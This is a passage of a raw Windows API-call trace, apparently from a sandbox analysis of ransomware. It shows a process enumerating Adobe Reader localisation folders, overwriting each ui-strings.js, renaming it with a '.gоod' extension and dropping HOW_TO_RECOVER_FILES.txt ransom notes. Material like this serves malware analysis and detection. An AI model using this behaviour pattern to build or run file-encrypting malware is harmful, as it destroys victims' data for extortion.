[0269.428] GetFileType (hFile=0x824) returned 0x1 [0269.428] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x208ec068 | out: lpFileSizeHigh=0x208ec068*=0x0) returned 0x47f [0269.428] ReadFile (in: hFile=0x824, lpBuffer=0x38ba7c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ebf98, lpOverlapped=0x0 | out: lpBuffer=0x38ba7c8*, lpNumberOfBytesRead=0x208ebf98*=0x47f, lpOverlapped=0x0) returned 1 [0269.428] CloseHandle (hObject=0x824) returned 1 [0269.454] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0269.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0269.454] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0269.454] GetFileType (hFile=0x824) returned 0x1 [0269.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0269.454] GetFileType (hFile=0x824) returned 0x1 [0269.454] WriteFile (in: hFile=0x824, lpBuffer=0x39332e0*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x208ebea8, lpOverlapped=0x0 | out: lpBuffer=0x39332e0*, lpNumberOfBytesWritten=0x208ebea8*=0x480, lpOverlapped=0x0) returned 1 [0269.455] CloseHandle (hObject=0x824) returned 1 [0269.455] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0269.455] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x89 [0269.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebfd0) returned 1 [0269.455] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x208ec0b0 | out: lpFileInformation=0x208ec0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9cd34271, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x480)) returned 1 [0269.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebf90) returned 1 [0269.455] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\ui-strings.js.gоod")) returned 1 [0269.456] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ebcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0269.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec1d0) returned 1 [0269.456] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0269.457] GetFileType (hFile=0x824) returned 0x1 [0269.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec140) returned 1 [0269.457] GetFileType (hFile=0x824) returned 0x1 [0269.458] WriteFile (in: hFile=0x824, lpBuffer=0x3936be0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ec298, lpOverlapped=0x0 | out: lpBuffer=0x3936be0*, lpNumberOfBytesWritten=0x208ec298*=0x5d0, lpOverlapped=0x0) returned 1 [0269.458] CloseHandle (hObject=0x824) returned 1 [0269.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0269.474] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl", lpFilePart=0x0) returned 0x76 [0269.474] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac20 [0269.475] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.475] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0269.475] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0269.475] FindClose (in: hFindFile=0x134ac20 | out: hFindFile=0x134ac20) returned 1 [0269.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0269.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0269.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0269.475] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl", lpFilePart=0x0) returned 0x76 [0269.475] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b160 [0269.476] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.476] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0269.476] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0269.476] FindClose (in: hFindFile=0x134b160 | out: hFindFile=0x134b160) returned 1 [0269.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0269.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0269.476] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0269.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec010) returned 1 [0269.476] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3769b68 | out: lpFileInformation=0x3769b68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x482)) returned 1 [0269.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebfd0) returned 1 [0269.477] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0269.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0269.477] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0269.477] GetFileType (hFile=0x89c) returned 0x1 [0269.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0269.477] GetFileType (hFile=0x89c) returned 0x1 [0269.477] GetFileSize (in: hFile=0x89c, lpFileSizeHigh=0x208ec068 | out: lpFileSizeHigh=0x208ec068*=0x0) returned 0x482 [0269.477] ReadFile (in: hFile=0x89c, lpBuffer=0x376a398, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ebf98, lpOverlapped=0x0 | out: lpBuffer=0x376a398*, lpNumberOfBytesRead=0x208ebf98*=0x482, lpOverlapped=0x0) returned 1 [0269.478] CloseHandle (hObject=0x89c) returned 1 [0269.862] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0269.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0269.862] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0269.863] GetFileType (hFile=0x89c) returned 0x1 [0269.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0269.863] GetFileType (hFile=0x89c) returned 0x1 [0269.863] WriteFile (in: hFile=0x89c, lpBuffer=0x38c97b0*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x208ebea8, lpOverlapped=0x0 | out: lpBuffer=0x38c97b0*, lpNumberOfBytesWritten=0x208ebea8*=0x490, lpOverlapped=0x0) returned 1 [0269.863] CloseHandle (hObject=0x89c) returned 1 [0269.863] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0269.864] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x89 [0269.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebfd0) returned 1 [0269.864] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x208ec0b0 | out: lpFileInformation=0x208ec0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9d113eee, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x490)) returned 1 [0269.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebf90) returned 1 [0269.864] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\ui-strings.js.gоod")) returned 1 [0269.865] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ebcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0269.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec1d0) returned 1 [0269.865] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x89c [0269.866] GetFileType (hFile=0x89c) returned 0x1 [0269.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec140) returned 1 [0269.866] GetFileType (hFile=0x89c) returned 0x1 [0269.866] WriteFile (in: hFile=0x89c, lpBuffer=0x38cd0b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ec298, lpOverlapped=0x0 | out: lpBuffer=0x38cd0b0*, lpNumberOfBytesWritten=0x208ec298*=0x5d0, lpOverlapped=0x0) returned 1 [0269.867] CloseHandle (hObject=0x89c) returned 1 [0269.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0269.867] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br", lpFilePart=0x0) returned 0x76 [0269.867] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af20 [0269.868] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.868] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x465, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0269.868] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0269.868] FindClose (in: hFindFile=0x134af20 | out: hFindFile=0x134af20) returned 1 [0269.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0269.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0269.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0269.868] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br", lpFilePart=0x0) returned 0x76 [0269.868] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b220 [0269.869] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.869] FindNextFileW (in: hFindFile=0x134b220, 